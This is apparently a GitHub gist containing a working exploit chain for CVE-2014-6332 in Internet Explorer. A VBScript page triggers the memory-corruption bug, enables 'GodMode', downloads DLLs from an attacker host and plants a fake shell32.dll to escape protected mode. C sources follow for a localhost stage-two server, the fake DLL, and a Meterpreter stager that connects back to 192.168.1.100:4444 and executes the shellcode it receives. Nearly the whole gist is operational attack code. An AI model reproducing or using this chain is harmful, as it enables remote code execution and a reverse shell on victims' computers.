Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
CVE-2014-6332 PoC to get shell or bypass protected mode
<html>
<head>
<!--
CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode
- Tested on IE11 + Windows 7 64-bit
References:
- original PoC - http://www.exploit-db.com/exploits/35229/
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html
- https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
- http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
-->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="javascript">
// get user-agent here because vbscript in IE11 has no "Navigator.UserAgent"
var userAgent = navigator.userAgent;
var oReq;
function getdll(downloadFile)
{
oReq = new XMLHttpRequest();
oReq.open("GET", "http://192.168.1.100/"+downloadFile, true);
oReq.onreadystatechange = handler;
oReq.send();
}
function handler()
{
if (oReq.readyState == 4 && oReq.status == 200) {
OnDownloadDone();
}
}
function tolocal()
{
location.href = "http://localhost:5555/stage2.html"
}
</script>
<script language="VBScript">
' local server files to get medium integrity
downloadFiles = Array("ieshell32.dll", "ielocalserver.dll", "stage2.html")
cacheRegex = Array("^ieshell32\[\d\].dll$", "^ielocalserver\[\d\].dll$", "^stage2\[\d\].htm$")
' reverse meterpreter shell files
'downloadFiles = Array("ieshell32.dll", "metp.dll")
'cacheRegex = Array("^ieshell32\[\d\].dll$", "^metp\[\d\].dll$")
Dim cacheFiles(3)
Dim downloadState
Dim pinTime
Dim oFSO
Dim oWS
Dim shell
function FindFile(path, regexFile)
FindFile = ""
For Each f in oFSO.GetFolder(path).Files
If regexFile.Test(f.Name) Then
FindFile = f.Name
Exit For
End If
Next
end function
function SearchCache(path, regexFile)
SearchCache = ""
For Each fld in oFSO.GetFolder(path).SubFolders
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
filename = FindFile(path & "\" & fld.Name, regexFile)
If filename <> "" Then
SearchCache = path & "\" & fld.Name & "\" & filename
Exit For
End If
'End If
Next
end function
function loaddll()
On Error Resume Next
Set wshSystemEnv = oWS.Environment("Process")
tmpDir = oFSO.GetSpecialFolder(2)
tmpSysDir = tmpDir & "\System32"
tmpShellFile = tmpSysDir & "\shell32.dll"
oFSO.CreateFolder(tmpSysDir)
oFSO.MoveFile cacheFiles(0), tmpShellFile
mydllFile = tmpDir & "\" & downloadFiles(1)
oFSO.MoveFile cacheFiles(1), mydllFile
wshSystemEnv("MyDllPath") = mydllFile
If (UBound(downloadFiles) = 2) Then
stage2File = tmpDir & "\stage2.html"
oFSO.MoveFile cacheFiles(2), stage2File
wshSystemEnv("stage2file") = stage2File
End If
saveRoot = wshSystemEnv("SystemRoot")
wshSystemEnv("SaveSystemRoot") = saveRoot
wshSystemEnv("SystemRoot") = tmpDir
Set shell = CreateObject("Shell.Application")
' have to restore %SystemRoot% in dll, not here
oFSO.DeleteFile tmpShellFile
oFSO.DeleteFolder tmpSysDir
If (UBound(downloadFiles) = 2) Then
call tolocal()
End If
end function
Sub OnDownloadDone()
If InStr(userAgent, "NT 5.") > 0 Then
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
cacheDir = cacheDir & "\Local Settings\Temporary Internet Files\Content.IE5"
Else
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
cacheDir = cacheDir & "\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5"
End If
Set regexFile = new regexp
regexFile.Pattern = cacheRegex(downloadState)
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
If cacheFiles(downloadState) = "" Then
Exit Sub
End If
If downloadState = UBound(downloadFiles) Then
loaddll()
Else
downloadState = downloadState + 1
DoDownload()
End If
End Sub
Sub DoDownload()
pinTime = Now
call getdll(downloadFiles(downloadState))
End Sub
Sub runshell()
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWS = CreateObject("WScript.Shell")
downloadState = 0
DoDownload()
End Sub
</script>
<script language="VBScript">
dim arrX()
dim arrY()
dim asize
dim incsize
dim olapPos
Begin()
function Begin()
On Error Resume Next
If (instr(userAgent,"MSIE") = 0) Then
exit function
End If
If (instr(userAgent, "Win64") > 0) Then
exit function
End If
Init()
If Exploit() = True Then
EnableGodMode()
redim Preserve arrX(asize)
runshell()
End If
end function
function Init()
Randomize()
asize = 13 + 17*rnd(6)
incsize = 7 + 3*rnd(5)
end function
function Exploit()
Exploit = False
For i = 0 To 400
asize = asize + incsize
If Trigger() = True Then
Exploit = True
Exit For
End If
Next
end function
function Trigger()
On Error Resume Next
Trigger = False
olapPos = asize + 2
ofnumele = asize + &h8000000
redim Preserve arrX(asize*2+1)
redim Preserve arrX(asize)
redim arrY(asize)
redim Preserve arrX(ofnumele)
typev = 1
arrY(0) = 1.123456789012345678901234567890
If (IsObject(arrX(olapPos-1)) = False) Then
If (VarType(arrX(olapPos-1)) <> 0) Then
If (IsObject(arrX(olapPos)) = False) Then
typev = VarType(arrX(olapPos))
End If
End If
End If
arrY(0) = 0.0
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then
Trigger = True
Else
redim Preserve arrX(asize)
End If
end function
function ReadMemInt(addr)
arrY(0) = 0
arrX(olapPos) = addr+4
arrY(0) = 8
ReadMemInt = lenb(arrX(olapPos))
end function
function EnableGodMode()
i = LeakFnAddr()
i = ReadMemInt(i+8)
i = ReadMemInt(i+16)
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
arrX(olapPos+2) = myarray
arrY(2) = 8192 + 12
EnableGodMode = False
For k=0 To &h60 step 4
j = ReadMemInt(i+&h120+k)
If (j = 14) Then
arrX(olapPos+2)(i+&h11c+k) = arrY(4)
EnableGodMode = True
Exit For
End If
Next
end function
sub dummyfn()
end sub
function LeakFnAddr()
On Error Resume Next
i = dummyfn
i = null
arrY(0) = 0
arrX(olapPos) = i
arrY(0) = 3
LeakFnAddr = arrX(olapPos)
end function
</script>
</head>
<body>
CVE-2014-6332 PoC
</body>
</html>
/*
Simple local HTTP server for IE (with no AppContainer) privilege escalation.
I implemented local server instead of proxy in Ref because
local server is easier to code. But local server is less useful then proxy.
Ref:
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
Note:
From my test, by default IE does not configure intranet site.
With this default, localhost is treated as internet site (run as low integrity).
*/
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
#define SERVER_PORT 5555
static HANDLE hThread = NULL;
static WCHAR stage2file[256];
static SOCKET serverSk = INVALID_SOCKET;
static SOCKET peerSk = INVALID_SOCKET;
static SOCKET create_server()
{
struct sockaddr_in skAddr;
SOCKET sk;
int optval;
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sk == INVALID_SOCKET)
return INVALID_SOCKET;
optval = 1;
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
memset(&skAddr, 0, sizeof(skAddr));
skAddr.sin_family = AF_INET;
skAddr.sin_port = htons(SERVER_PORT);
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
goto on_error;
if (listen(sk, 5) != 0)
goto on_error;
return sk;
on_error:
closesocket(sk);
return SOCKET_ERROR;
}
static int send_all(SOCKET sk, char *buffer, int size)
{
int len;
while (size > 0) {
len = send(sk, buffer, size, 0);
if (len <= 0)
return 0;
buffer += len;
size -= len;
}
return 1;
}
static int local_server()
{
int len;
int totalSize;
char buffer[4096];
HANDLE hFile = INVALID_HANDLE_VALUE;
serverSk = create_server();
if (serverSk == INVALID_SOCKET)
return SOCKET_ERROR;
while (1) {
peerSk = accept(serverSk, NULL, NULL);
if (peerSk == INVALID_SOCKET) {
continue;
}
len = recv(peerSk, buffer, sizeof(buffer), 0);
if (len <= 0)
goto closepeer;
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
break;
totalSize = GetFileSize(hFile, NULL);
if (totalSize == INVALID_FILE_SIZE)
break;
len = _snprintf(buffer, sizeof(buffer),
"HTTP/1.1 200 OK\r\n"
"Content-Type: text/html\r\n"
"Connection: Close\r\n"
"Content-Length: %d\r\n"
"\r\n",
totalSize
);
send_all(peerSk, buffer, len);
while (totalSize > 0) {
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
send_all(peerSk, buffer, len);
totalSize -= len;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
closepeer:
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
}
if (peerSk != INVALID_SOCKET) {
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (serverSk != INVALID_SOCKET) {
closesocket(serverSk);
serverSk = INVALID_SOCKET;
}
return 0;
}
DWORD WINAPI threadProc(void *param)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
local_server();
WSACleanup();
DeleteFile(stage2file);
return 0;
}
void do_work()
{
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
break;
}
return TRUE;
}
/*
Fake shell32.dll to be loaded after modified %SystemRoot%
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
static void do_work()
{
WCHAR envBuffer[256];
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
// restore system root
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
SetEnvironmentVariableW(L"MyDllPath", NULL);
// shell32.dll will be unloaded, use another dll
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
/*
meterpreter stager
use with metasploit module exploit/multi/handler
- PAYLOAD windows/meterpreter/reverse_tcp
- EXITFUNC thread
*/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
static HANDLE hThread = NULL;
int connect_back()
{
int payloadLen;
char *payload;
void (*func)();
struct sockaddr_in skAddr;
int len;
SOCKET sk;
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sk == INVALID_SOCKET)
return SOCKET_ERROR;
skAddr.sin_family = AF_INET;
skAddr.sin_port = htons(4444);
skAddr.sin_addr.s_addr = inet_addr("192.168.1.100");
if (connect(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
return SOCKET_ERROR;
len = recv(sk, (char*)&payloadLen, 4, 0);
if (len != 4)
return -2;
payload = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
func = (void (*)()) payload;
while (payloadLen > 0) {
len = recv(sk, payload, payloadLen, 0);
payload += len;
payloadLen -= len;
}
__asm mov edi, sk;
(func)();
return 0;
}
DWORD WINAPI threadProc(void *param)
{
connect_back();
return 0;
}
void do_work()
{
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
break;
}
return TRUE;
}
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="VBScript">
Sub runshell()
Set shell = CreateObject("Shell.Application")
shell.ShellExecute "calc.exe"
End Sub
</script>
<script language="VBScript">
dim arrX()
dim arrY()
dim asize
dim incsize
dim olapPos
Begin()
function Begin()
On Error Resume Next
Init()
If Exploit() = True Then
EnableGodMode()
redim Preserve arrX(asize)
runshell()
End If
end function
function Init()
Randomize()
asize = 13 + 17*rnd(6)
incsize = 7 + 3*rnd(5)
end function
function Exploit()
Exploit = False
For i = 0 To 400
asize = asize + incsize
If Trigger() = True Then
Exploit = True
Exit For
End If
Next
end function
function Trigger()
On Error Resume Next
Trigger = False
olapPos = asize + 2
ofnumele = asize + &h8000000
redim Preserve arrX(asize*2+1)
redim Preserve arrX(asize)
redim arrY(asize)
redim Preserve arrX(ofnumele)
typev = 1
arrY(0) = 1.123456789012345678901234567890
If (IsObject(arrX(olapPos-1)) = False) Then
If (VarType(arrX(olapPos-1)) <> 0) Then
If (IsObject(arrX(olapPos)) = False) Then
typev = VarType(arrX(olapPos))
End If
End If
End If
arrY(0) = 0.0
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then
Trigger = True
Else
redim Preserve arrX(asize)
End If
end function
function ReadMemInt(addr)
arrY(0) = 0
arrX(olapPos) = addr+4
arrY(0) = 8
ReadMemInt = lenb(arrX(olapPos))
end function
function EnableGodMode()
i = LeakFnAddr()
i = ReadMemInt(i+8)
i = ReadMemInt(i+16)
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
arrX(olapPos+2) = myarray
arrY(2) = 8192 + 12
EnableGodMode = False
For k=0 To &h60 step 4
j = ReadMemInt(i+&h120+k)
If (j = 14) Then
arrX(olapPos+2)(i+&h11c+k) = arrY(4)
EnableGodMode = True
Exit For
End If
Next
end function
sub dummyfn()
end sub
function LeakFnAddr()
On Error Resume Next
i = dummyfn
i = null
arrY(0) = 0
arrX(olapPos) = i
arrY(0) = 3
LeakFnAddr = arrX(olapPos)
end function
</script>
</head>
<body>
stage2
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.